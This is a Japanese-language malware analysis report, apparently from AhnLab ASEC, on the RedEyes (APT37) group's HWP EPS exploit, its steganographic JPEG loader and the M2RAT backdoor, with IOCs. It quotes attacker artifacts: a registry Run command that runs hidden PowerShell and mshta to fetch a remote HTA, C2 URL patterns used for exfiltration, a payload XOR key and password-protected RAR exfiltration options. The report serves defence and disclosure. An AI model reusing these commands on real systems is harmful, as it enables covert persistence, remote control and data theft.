ステガノグラフィー技法を使用したアレアハングル(HWP)マルウェア : RedEyes(ScarCruft)

ASEC(AhnLab Security Emergengy response Center)分析チームは、1月に RedEyes 攻撃グループ(also known as APT37、ScarCruft)がアレアハングル EPS(Encapulated PostScript)脆弱性(CVE-2017-8291)を通じてマルウェアを配布している状況を確認した。本レポートでは RedEyes グループの最新の韓国国内での活動について共有していく。

1. 概要

RedEyes グループは、企業ではなく特定の個人を対象に、個人 PC 情報だけでなく、携帯電話のデータまで窃取することで知られている。今回の RedEyes グループ攻撃事例の主な特徴は、アレアハングル EPS 脆弱性を使用したことと、ステガノグラフィー技法を利用してマルウェアを拡散していたという点である。

攻撃に使用されたアレアハングル EPS 脆弱性は、すでに最新バージョンのアレアハングル Word プロセッサーにてパッチされた脆弱性である。攻撃者は事前に攻撃対象(個人)が EPS をサポートする古いバージョンのアレアハングル Word プロセッサーを使用すると把握した状態で、攻撃を試みるものと見られる。RedEyes グループがステガノグラフィー技法でマルウェアを配布した事例は、過去にも確認されたことがある。2019年に、Kaspersky は ScarCruft(RedEyes)グループが使用したダウンローダーマルウェアがステガノグラフィー技法を利用して追加のマルウェアをダウンロードしていた内容を公開した。

今回の攻撃が RedEyes グループにカテゴライズされた根拠は、マルウェアのダウンロードのためにステガノグラフィー技法を使用していたという点と、C&C サーバ通信の維持(継続性)のために自動実行関連のレジストリ RUN キーの登録コマンドが過去に使用されていた形態と類似しているためである。

また、RedEyes グループは PC 情報を窃取して遠隔操作を実行するため、PowerShell と Chinotto マルウェアを使用していると知られている。しかし、今回の攻撃では Chinotto マルウェアとは異なる共有メモリセクションを利用した C&C コマンドを実行するマルウェアが新たに確認された。

ASEC 分析チームは、新たに確認されたマルウェアについて、共有メモリセクション名を引用して M2RAT(Map2RAT)と命名する。

[図1] 共有メモリセクションの名前情報

本レポートを通して RedEyes グループの初期侵入(Initial Access)、防御回避(Defense Evasion)、持続性の維持(Persistence)そして新たに確認された M2RAT マルウェアの最新コマンドおよび制御(Command Control)と情報流出(Exfiltration)についての TTPs(Tactics, Techniques, and Procedures)を共有する。

[図2] 攻撃シナリオのフロー図

2. 解析

2.1. 初期侵入(Initial Access)

1月13日に「様式.hwp」という名前でアレアハングル EPS 脆弱性(CVE-2017-8291)攻撃の状況が当社 ASD(AhnLab Smart Defense)で確認された。解析当初は、HWP ドキュメントを収集していなかったが、脆弱性を誘発する EPS ファイルは確保することができた。

[図3] ASD インフラログ

EPS ファイルは、一種のグラフィックファイル形式で、Adobe で製作された PostScript プログラミング言語を利用してグラフィック画像を表示するファイルである。EPS を通して高画質ベクターファイル画像を表現することができ、アレアハングル Word プロセッサーは EPS を処理するためにサードパーティーモジュール(ghostscript)をサポートしていた。しかし EPS 脆弱性を利用した APT 攻撃などに悪用される事例が増加したことにより、アレアハングルとコンピューターからは EPS 処理サードパーティーモジュールを削除していた。

ASEC 分析チームでは、2019年に CVE-2017-8291 脆弱性についての詳細解析レポート(韓国語)を公開したことがある。

「様式.hwp」ファイルには[図4]の脆弱な EPS ファイル(CVE-2017-8291)が含まれており、ユーザーがドキュメントファイル(「様式.hwp」)を閲覧すると、脆弱性によってサードパーティーモジュールで攻撃者のシェルコードが動作する。

[図4] EPS 脆弱性コード(「様式.hwp」)
[図5] Stage 1.EPS 脆弱性を利用したシェルコードの実行段階

シェルコードは攻撃者のサーバー(C&C)から画像(JPEG)ファイルをダウンロードして、画像ファイル内に存在するエンコードされた PE ファイルを復号化する。そして、PE ファイルを %temp% パスに生成して実行する機能を担っている。

2.2. 防御回避(Defense Evasion)

シェルコードは攻撃者がサーバーから画像ファイルをダウンロードして追加のマルウェアを実行していた。すなわち、攻撃者はマルウェアを画像に含ませるステガノグラフィー技法を使用しており、これはネットワーク検知回避のために使用されたものと推定される。攻撃者が使用したステガノグラフィー画像ファイルは「wallup.net」というデスクトップ画像提供サイトから確保したものと見られる。

[図6] ステガノグラフィー画像ファイル

画像ファイルは正常な JPEG ヘッダーと PE ファイルのデコードに必要なメタデータ(XOR キー、ファイルサイズ)、エンコードされた PE ファイルで構成されている。

[図7] ステガノグラフィー画像ファイルの構成情報

PE デコードは 16バイト xor キーを利用して1バイトずつ xor する。

  • 16バイト xor キー : FD DD 28 F5 7C 48 8E 7E 0C E0 17 77 35 87 3B 49
    (0xFD xor 0xB0) = 0x4D (M)
    (0xDD xor 0x87) = 0x5A (Z)
    (0x28 xor 0xB8) = 0x90
    (0xF5 xor 0xF5) = 0x00
    (* MZ は PE ファイルのシグネチャである)

最終的にデコードされた PE ファイルは %temp% パスに lskdjfei.exe の名前で生成および実行される。実行された PE ファイルの機能は、追加のバックドア型マルウェア(M2RAT)をダウンロードして explorer.exe にインジェクションし、攻撃者サーバーとの接続を維持するために自動実行関連レジストリ Run キーに PowerShell と mshta コマンドを追加する。

2.3. 持続性の維持 (Persistence)

実行された lskdjfei.exe は攻撃者サーバーとの持続性の維持のために、以下のコマンドをレジストリ Run キーに登録する。

  • レジストリキーパス : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • 値名 : RyPO
  • 値 : c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 340328 2.2.2.2 || mshta hxxps://www.*****elearning.or[.]kr/popup/handle/1.html
[図8] Stage 2.復号化した PE ファイル実行段階(バックドアダウンロード、持続性の維持の追加)

レジストリ Run キーに登録されるコマンドは2021年に Kaspersky から公開された ScarCruft(RedEyes)グループレポートと類似していることが確認された。

[ScarCruft の2021年のレジストリ Run キーコマンド(by Kaspersky)]

  • c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 300000 2.2.2.2 || mshta hxxp://[redacted].cafe24[.]com/bbs/probook/1.html

[RedEyes(ScarCruft)の2023年のレジストリ Run キー登録コマンド]

  • c:\windows\system32\cmd.exe /c PowerShell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 340328 2.2.2.2 || mshta hxxps://www.*******elearning.or[.]kr/popup/handle/1.html

登録されたレジストリキーにより、システムを起動するたびに被害ホスト PC からは PowerShell と Windows の正常なユーティリティである mshta が実行される。解析当時、mshta が攻撃者サーバーからダウンロードする「1.html」ファイルは内部に JS(JavaScriprt)コードを含んだ HTA(HTML Application) ファイルが収集されていた。

JS コードは PowerShell コマンドを実行し、攻撃者サーバーからコマンドを受け取って実行、その後結果を伝達する機能を担っている。

PowerShell が攻撃者サーバーアドレスに「U」パラメータを追加し、コンピューター名とユーザー名を伝達すると、攻撃者サーバーは実行する CMD コマンドを BASE64 でエンコードして被害ホストに伝達する。エンコードされた BASE64 コマンドは、PowerShell が再度デコードして実行し、コマンド実行結果は %temp%\vnGhazwFiPgQ パスにファイルとして保存される。そして、攻撃者サーバーに「R」パラメータを追加し、コマンド実行結果を BASE64 でエンコードした状態で伝達する。

  • hxxps://www.*******elearning.or[.]kr/popup/handle/log.php?U=[コンピューター名]+[ユーザー名] // 攻撃者コマンドを受信
  • hxxps://www.*******elearning.or[.]kr/popup/handle/log.php?R=[BASE64 エンコード] // コマンド実行結果を伝達
[図9] 持続性の維持に関連した PowerShell コード

2.4. M2RAT (Map2RAT)

最終実行されるバックドアは explore.exe にインジェクションされて動作する。バックドアは主にキーロガー、データ(ドキュメント、音声ファイル)流出、プロセスの実行/終了、画面キャプチャなど基本的な遠隔操作マルウェアの機能を担っている。

[図10] Stage 3.M2RAT バックドアの実行段階

しかし、今回確認されたバックドアマルウェアは、既知の Chinotto マルウェアとコマンド自体が異なり、被害システムにキーロガーデータ、画面キャプチャを保存せず、攻撃者サーバーに送信して被害システムに流出の痕跡を残さないのが特徴である。

ASEC 分析チームは今回新たに確認されたマルウェアを C&C 通信で使用される共有メモリセクションの名前と共有した部分を引用して M2RAT(Map2RAT)と命名した。

  • FileInputMap2
  • ProcessInputMap2
  • CaptureInputMap2
  • RawInputMap2
  • RegistryModuleInputMap2
  • TypingRecordInputMap2
  • UsbCheckingInputMap2

2.4.1. M2RAT のコマンドおよび制御(Command and Control)

M2RAT の C&C 通信命令体系は、攻撃者サーバーから POST メソッドの Body にコマンドを受け取っており、このコマンドの意味は以下の[表1]のようになる。

[図11] M2RAT の C&C 通信キャプチャ画面(Fiddler)
C&C コマンド 説明
OKR 初回 C&C 通信接続時に伝達されるコマンド
URL C&C アップデートによるレジストリキー値の修正
UPD 現在接続中の C&C アップデート
RES C&C 接続終了(M2RAT 終了)
UNI C&C 接続終了(M2RAT 終了)
CMD 遠隔操作コマンドの実行(キーロガー、プロセスの生成/実行など)
[表1] 攻撃者コマンド情報

M2RAT の攻撃者サーバーは被害ホスト識別のため、MAC アドレスでホストを管理する。M2RAT に感染すると、レジストリ「HKCU\Software\OneDriver」パスの「Version」値に MAC アドレスを 0x5C でエンコード(XOR)して保存する。エンコードされた MAC アドレス値は攻撃者サーバーで被害ホストを識別するのに使用されていた。

  • レジストリキーパス : HKCU\Software\OneDriver
  • 値名 : Version
  • 値 : 被害ホストの MAC アドレス XOR エンコード(0x5C)した値

攻撃者が被害ホストに伝達したコマンドについての結果値は、攻撃者サーバーの「_エンコードされた MAC アドレス値_2」フォルダーに保存され、M2RAT が被害ホストの画面をキャプチャしたファイルは「_エンコードされた MAC アドレス値_cap」フォルダーに保存される。([図12]参照)

[図12] 攻撃者サーバー()
([図12]のサーバー画面は、攻撃者の Web サーバーと似せた AhnLab の解析システムで構築した画面である)

それ以外にも、M2RAT は攻撃者サーバーアドレス情報を MAC アドレスと同じレジストリキーパスの「Property」値に 0x5C で XOR エンコードして保存する。

  • レジストリキーパス : HKCU\Software\OneDriver
  • 値名 : Property
  • 値 : 攻撃者サーバーアドレスを XOR エンコード(0x5C)した値

その後攻撃者は、攻撃者サーバーアドレスアップデートにより「URL」と「UPD」コマンドを M2RAT に伝達することができる([表1]参照)。「URL」コマンドは新たな攻撃者アドレスをレジストリキーにアップデートするために使用されるコマンドで、「UPD」コマンドは、現在実行中の M2RAT の攻撃者サーバーアドレスを変更するためのコマンドである。

M2RAT の遠隔操作コマンドは、攻撃者サーバーから CMD コマンドを受け取って成り立っている。従来の RedEyes グループが使用したと確認された Chinotto マルウェアの場合、クエリ文字列(Query string)方式で制御コマンドを実行していたが、M2RAT の場合、共有メモリセクションを生成し、攻撃者サーバーから遠隔操作コマンドを実行していた。これは、攻撃者が初期侵入段階からステガノグラフィー技法を使用したのと同じコマンド情報を POST の Body に隠すことで、ネットワーク検知を回避するためのものと推定される。
(* クエリ文字列(Query string) : URL の最後にクエスチョンマークから始まる文字列)

CMD コマンドは、共有メモリを通して伝達される。メモリセクションの名前情報は以下の[表2]の通りである。

セクション名 機能
RegistryModuleInputMap2 追加モジュール実行結果の送信(ex.携帯電話データの流出モジュール)
FileInputMap2 (A:\ ~ Z:\)ドライブファイルの検索、ファイルの生成/書き込み、ファイルの読み込み、ファイル時間の変更
CaptureInputMap2 現在の被害ホスト PC の画面キャプチャ
ProcessInputMap2 プロセスリストの確認、プロセスの生成/終了
RawInputMap2 ShellExectueExW API を使用したプロセスの実行
TypingRecordInputMap2 キーロガーデータの流出
UsbCheckingInputMap2 USB データの流出
(hwp,doc,docx,xls,xlsx,ppt,pptx,cell,csv,show,hsdt,mp3,amr,3gp,m4a,txt,png,jpg,jpeg,gif,pdf,eml)
[表2] 共有メモリセクション機能

2.4.2. 情報流出 (Exfiltration)

M2RAT の情報流出機能は、被害ホストの画面キャプチャ、プロセス情報、キーロガー、データ(ドキュメント、音声ファイル)の流出機能がある。まず画面キャプチャの場合、攻撃者が命令を下さなくても周期的にキャプチャして、攻撃者サーバーに送信し、サーバーからは「_エンコードされた MAC アドレス値_cap」フォルダーに「result_[数字]」で保存する。

それ以外のすべてのデータ流出情報は、攻撃者 Web サーバーの「_エンコードされた MAC アドレス値_2」フォルダーに保存される。

特にリムーバブルディスクや、共有フォルダーにデリケートなデータであるドキュメントや音声ファイルがある場合、%TEMP% パスにファイルをコピーし、Winrar(RAR.exe)でパスワード圧縮した後、結果を攻撃者サーバーに送信する。

  • データコピーフォルダーパス : %Temp%\Y_%m_%d_%H_%M_%S // (ex. %TEMP%\年_月_日 _時_分_秒))
  • ファイルの拡張子 : hwp,doc,docx,xls,xlsx,ppt,pptx,cell,csv,show,hsdt,mp3,amr,3gp,m4a,txt,png,jpg,jpeg,gif,pdf,eml

使用された RAR.exe オプションは以下の通りである。圧縮ファイル生成パスは %TEMP% フォルダーパスと同じである。

  • a -df -r -hp dgefiue389d@39r#1Ud -m1 「圧縮ファイル生成パス」「圧縮対象パス」
オプション名 説明
a 圧縮
df 圧縮後ファイル削除
r 圧縮ファイル復旧
hp ファイルデータとヘッダーの暗号化
m 圧縮レベル設定
[表3] RAR 圧縮オプションの説明

ASEC 分析チームは ASD(AhnLab Smart Defense)インフラを通して M2RAT と通信する情報流出マルウェアを追加で確認することができた。このマルウェアは携帯電話に保存されたドキュメントファイルを窃取し、M2RAT の RegistryModuleResultMap2 という名前の共有メモリセクションに流出データを送信する .NET ファイルであることが確認された。

[図13] M2RAT に流出データを送信するコード
[図14] 携帯電話データ窃取対象(拡張子)情報

この .NET ファイルの PDB 情報は以下の通りである。

  • PDB : E:\MyWork\PhoneDataCp\PhoneDeviceManager\PhoneDeviceManager\obj\x86\Release\PhoneDeviceManager.pdb

3. 結論

RedEyes グループは、国家レベルのサポートを受けている APT ハッキング組織である。人権運動家、記者、脱北住民など、個人を対象として攻撃を行うことで知られており、攻撃の目標は情報流出であると見られている。このような APT 攻撃を防ぐのは非常に難しく、特に RedEyes グループは主に個人を対象に攻撃を行うことで知られており、企業ではなく個人の被害認知が非常に難しい。ASEC 分析チームでは、このグループを綿密に追跡しており、攻撃者の新たな TTPs が確認された場合、すぐにブログなどで迅速に共有し、被害の最小化に努めていく。

4. IOC

[MD5 (検知名、エンジンバージョン)]
8b666fc04af6de45c804d973583c76e0 // EPS ファイル – Exploit/EPS.Generic (2023.01.16.03)
93c66ee424daf4c5590e21182592672e // ステガノグラフィー JPEG – Data/BIN.Agent (2023.02.15.00)
7bab405fbc6af65680443ae95c30595d // PE file(JPEG) Stage PE ファイル – Trojan/Win.Loader.C5359534 (2023.01.16.03)
9083c1ff01ad8fabbcd8af1b63b77e66 // PowerShell スクリプト – Downloader/PS.Generic.SC185661 (2023.01.16.03)
4488c709970833b5043c0b0ea2ec9fa9 // M2RAT – Trojan/Win.M2RAT.C5357519 (2023.01.14.01)
7f5a72be826ea2fe5f11a16da0178e54 // 携帯電話データの窃取 – Infostealer/Win.Phone.C5381667 (2023.02.14.03)

5. 参考レポート